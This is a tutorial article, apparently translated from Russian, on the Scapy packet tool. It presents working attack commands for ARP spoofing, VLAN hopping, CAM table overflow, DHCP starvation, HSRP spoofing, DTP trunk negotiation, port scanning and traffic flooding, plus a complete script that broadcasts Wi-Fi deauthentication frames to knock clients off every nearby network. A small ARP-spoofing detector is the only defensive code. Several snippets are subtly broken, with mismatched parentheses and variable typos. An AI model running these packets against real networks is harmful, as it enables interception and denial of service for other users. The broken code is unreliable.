The power of Scapy

    Scapy is a tool for creating and working with network packets. The program is written in python by Philippe Biondi. You can get acquainted with the main functionalities here . Scapy is a universal, truly powerful tool for working with a network and conducting research in the field of information security. In this article I will try to interest you in using scapy in your work / projects. I think that this can best be achieved by showing the main advantages of scapy using examples.
    As examples, I will take simple and illustrative tasks that can be solved using scapy. The main focus will be the formation of packages for the implementation of a particular type of attack.

    ARP-spoofing


    >>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))
    The package thus formed will poison the targetIP arp cache. One of the strongest features of scapy is its visibility, that is, you need to understand what you want to do, of course it can create some difficulties, but it will help to form a complete picture and protect against a “shot in the leg”. For example, looking at a package formed in this way, it becomes clear that ARP-spoofing cannot be cured with port security because the MAC address of the sender does not change, in this case only the arp inspection will save us. Although, let's try to implement protection using scapy. Suppose that we mirror all the traffic on the switch to the port where we will be analyzing. I suggest detecting the attack on the principle that if the computer did not send an arp request, then it should not receive an arp response either.

    import time
    from scapy.all import *
    arp_table = {}
    def arp_inspection(pkt):
        global arp_table
        op = pkt.getlayer(ARP).op      # получаем параметр op протокола ARP, список параметров можно посмотреть так: >>> ls(ARP)
        src = pkt.getlayer(Ether).src      # параметр src (MAC source) протокола Ethernet 
        if op == 1:      # op is who-has
            arp_table[src] = time.time()      # сохраняем MAC отправителя и время получения в arp_table
        if op == 2:      # op is is-at
    	dst = pkt.getlayer(Ether).dst 
            if dst in arp_table:
                time_arp_req = arp_table.pop(dst, None)      # по значению dst получаем время, когда производили запись в arp_table
                if int(time.time() - time_arp_req) > 5: 
                    print "Alert! Attack from %s" % src
            else:
                print "Alert! Attack from %s" % src
    sniff(filter='arp', prn=arp_inspection)
    The script fulfills the embedded logic and programs such as “cain & abel” will not be able to silently conduct ARP-spoofing. But we know that there are features of arp implementation in some operating systems, namely if an arp request comes to the computer with a request to provide information about itself, it automatically trusts it and enters the sender ip-mac correspondence to itself in the table. Those. the next package will also poison the arp cache.

    >>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))
    In this case, our script will not be effective. It turns out that working with scapy you study not only the program, but also the protocols themselves, their logic.

    VLAN Hooping


    >>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()
    The next advantage of scapy, I think - flexibility. A classic example (flexibility) is the situation when we need to do arp-spoofing in a neighboring vlan, we don’t have to write a new program, we need to build the package correctly.

    >>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))
    Unfortunately, even in case of successful implementation, we will get one-way communication and for the organization of MITM inside the neighboring vlan we will need “our agent”.

    Cam table overflow


    >>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)
    RandMAC () - the function returns an arbitrary value, in the format of the MAC address; loop parameter - send looping, which ultimately leads to the exhaustion of the switch table buffer. This is probably an example of the simplicity of some attacks.

    More examples


    Further I will show examples with almost no description, they are simple and, perhaps, some of them will serve as a starting point for using scapy in your work. For example, running out of a DHCP pool is as follows.
    >>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)

    DNS spoofing is implemented like this.
    send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))

    HSRP spoofing
    sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1) 
    src mac - HSRP virtual MAC (possible range 00: 00: 0C: 9F: F0: 00 - 00: 00: 0C: 9F: FF: FF); dst mac - IP v4 multicast MAC (possible range 01: 00: 5E: 00: 00: 00 - 01: 00: 5E: 00: 00: FF); ip dst - ipv4 multicast address (224.0.0.0/24); priority - priority of the route, values ​​from 0 to 255; inter = 3 - according to the default interval on cisco equipment; all other settings are similar to the default settings of cisco equipment. Such a package will make attacerIP an active HSRP route.
    Various ways to scan ports.
    >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
    >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
    >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas
    You can view the result in this way.
    if res.getlayer(TCP).flags == 0x12:
        print "Open"
    elif res.getlayer(TCP).flags == 0x14:
        print "Close"
    Or so.
    >>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
    >>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%")
    https      RA
    www        SA
    ssh        RA
    

    The next positive feature of scapy is the ability to create protocols yourself. The DTP protocol is not implemented as part of the standard set, but it can be downloaded as a module.

    >>> load_contrib('dtp')
    The danger of DTP is that we ourselves can put the switch port in trunk mode and gain advanced access. If you look at the source code of the module, we will see there a function that will help us enable trunk mode on the interface.

    def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
        print "Trying to negotiate a trunk on interface %s" % iface
        p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
        sendp(p)
    Along with loading the DTP protocol, we load the negotiate_trunk function, we can execute it directly from the interpreter console, and the result will not be long in coming.
    >>> negotiate_trunk()

    802.11


    Scapy can successfully work with wireless networks, most of the functionality is able to replace Aircrack-ng. For example, you can see the list of available networks as follows.

    from scapy.all import *
    ap_list = []
    def ssid(pkt) : 
        if pkt.haslayer(Dot11) :      # проверяем имеется ли в пакете уровень 802.11
            if pkt.type == 0 and pkt.subtype == 8:      # type 0 subtype 8 - тип пакета Beacon (первичная информация точки доступа) 
                if pkt.addr2 not in ap_list:
                    ap_list.append(pkt.addr2)
                    print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
    sniff(iface='mon0', prn=ssid)
    Pretty simple, let's get something more complicated. Suppose you are tasked with preventing wireless devices from operating in a controlled area. How to organize this, if you do not resort to radio frequency silencers? One option may be to suppress the operation of user devices. This can be arranged by sending a package to Deauth clients.
    Script for broadcasting Deauth packets
    from scapy.all import *
    import random, time, sys
    from multiprocessing import Process
    iface='mon0'
    def wifi_snif():
    	pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp))
    	u_pkt = []
    	u_addr2 = []
    	for p in pkt:
    		if p.addr2 not in u_addr2:
    			u_pkt.append(p)
    			u_addr2.append(p.addr2)
    	return u_pkt
    def deauth(pkt):
    	os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info)))      # меняем канал беспроводного интерфейса  
    	sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0)
    def chg_cnl():
    	while True:
    		cnl = random.randrange(1,12)
    		os.system("iw dev %s set channel %d" % (iface, cnl))
    		time.sleep(0.3)
    def main_fnc():
    	p = Process(target=chg_cnl)
    	p.start()
    	pkt_ssid = wifi_snif()
    	p.terminate()
    	for pkt in pkt_ssid:
    		deauth(pkt)
    while 1:
    	main_fnc() 

    Novice researchers can simplify the approach to protocol fuzzing tasks; scapy implements the simplest functionality. For example, the simplest fuzzing of Beacon packets might look like this.
    >>>sendp(RadioTap(version=0, pad=0)/
             Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
             Dot11Beacon(cap="ESS") / 
             fuzz(Dot11Elt(ID="SSID"))/
             fuzz(Dot11Elt(ID="Rates")/
             fuzz(ID="DSset"))/
             fuzz(Dot11Elt(ID="TIM")),
             iface="mon0", count=10, inter=0.05, verbose=0)
    


    Stress Testing


    Last in the list of examples, but far from the last by value, I will use scapy to conduct load testing on communication channels. I am not an expert in this matter and maybe the amount of generated traffic is not the most important parameter, but still. In scapy, this is done simply, like so much more.

    >>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)
    Upon execution of the command, a similar result should appear.


    On the receiving side of the traffic, wireshark metering confirms the sender's numbers.



    Summary


    So, we list the advantages.
    1) Visibility (understanding what will happen)
    2) Flexibility (packages can be assembled as you like)
    3) Extensibility (creating your own protocols)
    4) Python
    I hope I managed to achieve my goals and, if necessary, you will recall the existence of such a tool, like scapy. If there is interest in the article, I will try to write (translate and adapt) material on creating my own protocols in scapy.

    PS
    The latest version of scapy can be downloaded from scapy.net . The article used materials from official scapy documentation .

    Also popular now: